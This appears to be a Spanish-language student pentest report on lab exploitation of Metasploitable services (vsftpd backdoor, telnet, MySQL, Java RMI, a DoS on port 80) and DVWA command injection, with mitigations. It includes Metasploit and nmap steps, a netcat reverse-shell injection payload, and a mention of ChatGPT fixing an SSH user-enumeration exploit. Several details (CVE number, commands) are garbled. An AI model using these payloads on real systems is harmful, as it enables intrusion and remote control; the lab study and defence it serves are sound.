INFORME FINAL DE PENTESTING

Autor: Daniel Jose Javier Ramirez
Curso: Seguridad Informática - Pentesting
Fecha: 2025

Índice

1. Objetivos

El objetivo principal es realizar una prueba de penetración controlada, que abarque tanto la fase de reconocimiento (Metasploit) como la fase de explotación en un entorno web vulnerable (DVWA).

2. Alcance

El trabajo se realiza únicamente en entornos de laboratorio, con máquinas vulnerables diseñadas para pruebas de pentesting. No se afectan sistemas en producción ni externos.

3. Metodología

Se utilizaron herramientas de escaneo, reconocimiento y explotación, entre ellas:
- Nmap para el reconocimiento de servicios y versiones.
- Metasploit para explotación de vulnerabilidades en servicios.
- Netcat y mkfifo para establecer reverse shells.
- DVWA (Dojo) como entorno de pruebas web.

4. Resultados

Resultados del Reconocimiento y Explotación con Metasploit: Reconocimiento de Metasploit Daniel Jose Javier Ramirez Descripción de vulnerabilidades 21/FTP : Está usando el servicio vsftpd en la versión 2.3.4 en esta versión hay una vulnerabilidad que permite crear una puerta trasera con :). CVE-2011-07 22/SSH : Está usando que es una versión de hace 18 años con muchas vulnerabilidades conocidas 23/telnet: también sirve para la lectura de lo que se hace en un servidor pero sin cifrar, en este puerto un atacante tiene fácil leer cualquier movimiento 25/smtp: tiene vulnerabilidades como ssl-poodle que sirve para que atacantes del tipo man-in-the-middle obtengan datos de texto sin formato mediante un ataque padding-oracle, ssl-dh-params estos servicios de Seguridad de la Capa de Transporte (TLS) que utilizan el intercambio de claves Diffie-Hellman anónimo sólo ofrecen protección contra escuchas pasivas y son vulnerables a ataques de intermediario activos, que podrían comprometer por completo la confidencialidad e integridad de los datos intercambiados durante la sesión resultante. 80/http: Apache httpd 2.2.8 tiene cientos de opciones de inyección sql \ 1099/rmiregistry: La configuración predeterminada del registro RMI permite cargar clases desde URL remotas, lo que puede provocar la ejecución remota de código. 3306/mysql: Hay muchos script conocidos para explotar esta versión , la base de datos está desprotegida Prueba de penetración Objetivos y Alcance El objetivo de esta prueba es explotar vulnerabilidades de metasploit y hacer un informe de todo las vulnerabilidades explotadas. El alcance de explotación de ser a la máxima cantidad de puertos posibles de la máquina metasploit Explotaciones Puerto 21 ftp Para explotar la vulnerabilidad de este puerto use metasploit, en metasploit busque el exploit necesario para la versión de con el comando de búsqueda de exploits en metasploit (search) más la versión (vsftpd 2.3.4) del servicio ftp (transferencia de datos) utilizado en el puerto 21, en la imagen se ve como me

aparece el exploit necesario para explotar esta versión (exploit/unix/ftp/vsftpd_234_backdoor), luego con los comandos para indicar a qué ip y que puerto es el que quiero ejecutar el exploit (use RHOST y use RPORT) indique que ip y que puerto debe atacar, por último ejecute el Script con el comando de ejecución (exploit) Puerto 22 ssh Segui los mismos pasos que el el puerto 21 pero adaptando la versión a la versión del servicio ssh utilizado en el puerto 22 (cve-2008-5161), en la imagen se puede ver el resultado de la explotación Puerto 23 telnet A este puerto entre super fácil, solo tuve que poner el comando para entrar a servicios telnet más el ip de la víctima y el número de puerto (talnet 192.168.0.97 23), dentro me pone que usuario y contraseña debería de usar. Puerto 25 SMTP Para explotar las vulnerabilidad use los pasos de la primera diapositiva, en este caso como nmap no me dio una versión clara tuve que buscar un alternativa por internet para postfix smtp https://www.youtube.com/watch?v=Qw4NiEdIATE Puerto 80 http En este puerto hice un ataque DOS para poner lento el servidor http, luego con el comando curl comprobé si había funcionado y efectivamente funciono por que le curl no respondía Puerto 1099 java rmi Aquí lo que hice fue simple, busque el el script en metasploit con el comando search type: exploit y la versión java rmi y ejecute el script en la consola para tener acceso al puerto 1099 Puerto 3306 mysql Cree una session con la información de telnet en auxiliary/scanner/telnet/telnet_loging, dento de metasploit con los comandos (set RHOST 0.0.0.0, set PORT 0, set USERNAME usuario, set PASSWORD **** , set LHOST m.i.i.p y set LHOST 4444) Encontré vulnerabilidad con el buscador de vulnerabilidades de de metasploit (search type:exploit mysql), una vez que tenía la vulnerabilidad busque un payload con el comando (show payloads), Una vez tenia todo configurado explote la vulnerabilidad y tuve acceso inmediato Impacto FTP 21 y Telnet 23 abiertos : Acceso no cifrado, robo de contraseñas y archivos. MySQL 3306 abierto : Robo o modificación de bases de datos. SMTP 25 vulnerable : Uso para enviar spam o ejecutar código. RMI 1099 mal configurado : Ejecución remota de código en el servidor. Puertos con SSL/TLS viejo 22, 23, 25 : Comunicaciones pueden ser descifradas. Puertos sin control : Permiten ataques de fuerza bruta a contraseñas débiles. Comandos y herramientas Nmap: nmap -p- -sV –script vuln 1.1.1.1 para ver los servicios versiones y vulnerabilidade s Metasploit: search : para buscar los exploit use : para usar la vulnerabilidad que apareció set RHOST: para decir la dirección de la víctima set RPORT: para decir que puerto queremos atacar para crear una sesión usaba auxiliary/scanner/telnet/telnet login y luego usaba set para agregarle usuario, contraseña… para ejecutar el exploit usaba exploit T elnet: usaba el comando telnet 1.1.1.1 mas el puerto para acceder a la consola de la máquina atacada Propuestas y mitigaciones FTP 21 y T elnet 23 abiertos: el problema es que no cifran datos, lo que facilita el robo de contraseñas y archivos. La mitigación es usar versiones seguras como SFTP o SSH y cerrar estos puertos si no se utilizan. MySQL 3306 abierto: el problema es que se pueden robar o modificar bases de datos. La mitigación es restringir el acceso solo a direcciones IP autorizadas y usar contraseñas fuertes. SMTP 25 vulnerable: el problema es que puede ser usado para enviar spam o ejecutar código malicioso. La mitigación es actualizar el servicio, habilitar autenticación y usar filtros antispam. RMI 1099 mal configurado: el problema es que permite

la ejecución de código en el servidor sin autorización. La mitigación es bloquear el acceso externo y ajustar la configuración. Puertos con SSL/TLS viejo 22, 23, 25: el problema es que las comunicaciones pueden ser descifradas. La mitigación es usar TLS moderno y desactivar versiones antiguas. Puertos sin control: el problema es que permiten ataques de fuerza bruta contra contraseñas débiles. La mitigación es usar contraseñas seguras, limitar intentos y habilitar un firewall

Resultados de la Explotación Web (DVWA):
Explotación en Pentesting en un Sitio Web Vulnerable Daniel Jose Javier Ramirez INTRODUCCIÓN Objetivo: Buscar fallos en una página web hecha para aprender, cómo DVWA, y ver cómo se pueden usar esos fallos para hacer que el servidor ejecute órdenes. La idea es entender el proceso básico para encontrar la falla, probar que existe y aprovecharla. Alcance: todo se hace solo en el laboratorio, usando la máquina de DVWA y la máquina atacante. No se toca nada que no sea parte del entorno de práctica, y el ejercicio se limita a detectar el fallo, explotarlo y guardar pruebas de que funcionó. METODOLOGÍA Herramientas: Para buscar vulnerabilidades y puertos abiertos use Nmap, para explotar vulnerabilidades use Metasploit, la máquina que use para atacar fue Kali Linux, la máquina dvwa que use para explotar fue Dojo Técnicas: Ataque a puerto ssh para para saber que usuarios existen y command injection con DVWA RESUL TADOS Ataque al puerto 22 ssh: Para realizar este ataque lo primero que hice fue un escaneo con nmap en el puerto 80 (nmap -p22 -sV 0.0.0.0), luego copie la version OpenSSH 7.6p1 y la pegue en google, en github.com en contre un exploit para esa versión que dice que usuarios existen en la máquina atacada, luego de eso con la ayuda del chat gpt 5 corregi el exploit linea por linea para que no hubiera ningún error , para finalizar ejecuta el exploit con python 3 para ver si el usuario root existe. Command injection DVWA Para explotar esta vulnerabilidad use el con mando de modo escucha en mi máquina kali con las herramientas mkfifo y netcat (rlwrap -cAr nc -lvnp 4444) . Despues use el command injection de DVWA use un comando para engañar a la máquina para que haga un puente con mi máquina kali (127.0.0.1; mkfifo /tmp/f; /bin/sh -i &1 | nc 10.0.2.15 4444 >/tmp/f) MITIGACION Validar y filtrar correctamente todos los datos que introduce el usuario antes de que el servidor los procese. Evitar que la aplicación ejecute comandos del sistema con datos externos. Mantener actualizado el software del servidor y de la aplicación web para cerrar vulnerabilidades conocidas. Configurar permisos mínimos para el usuario del servidor web, de forma que si se compromete no pueda hacer cambios importantes en el sistema. CONCLUSIONES El ejercicio permitió comprobar que una aplicación web vulnerable, como DVWA, puede ser explotada fácilmente para ejecutar comandos en el servidor a través del puerto 80. Esto demuestra la importancia de validar la información que recibe la web y de mantener configuraciones seguras, ya que incluso fallos simples pueden dar acceso no autorizado. FUENTES Exploit= Chat gpt 5 + https:/ /github.com/sriramoffcl/OpenSSH-7.6p1-Exploit-py-/blob/master/45233.p y#L5

5. Impacto

Las vulnerabilidades encontradas permiten accesos no autorizados, robo de información y ejecución de código en el servidor. De no mitigarse, un atacante podría comprometer la integridad, disponibilidad y confidencialidad de los sistemas.

6. Propuestas de Mitigación

- Cerrar o restringir servicios inseguros como Telnet y FTP.
- Usar protocolos seguros como SSH y SFTP.
- Validar entradas en aplicaciones web para evitar inyecciones.
- Restringir acceso a bases de datos solo a IP autorizadas.
- Actualizar constantemente software y servicios expuestos.

7. Conclusión

El informe demuestra cómo, partiendo de un reconocimiento básico, es posible identificar servicios vulnerables y explotarlos con éxito en un entorno controlado. La fase web complementa el análisis mostrando la facilidad con la que fallos comunes como la inyección de comandos pueden ser aprovechados. La seguridad debe basarse en prevención, mitigación y actualización constante.

8. Fuentes

- ChatGPT 5 (asistencia en corrección de exploit).
- Repositorios de GitHub con exploits públicos.
- Documentación oficial de Metasploit y Nmap.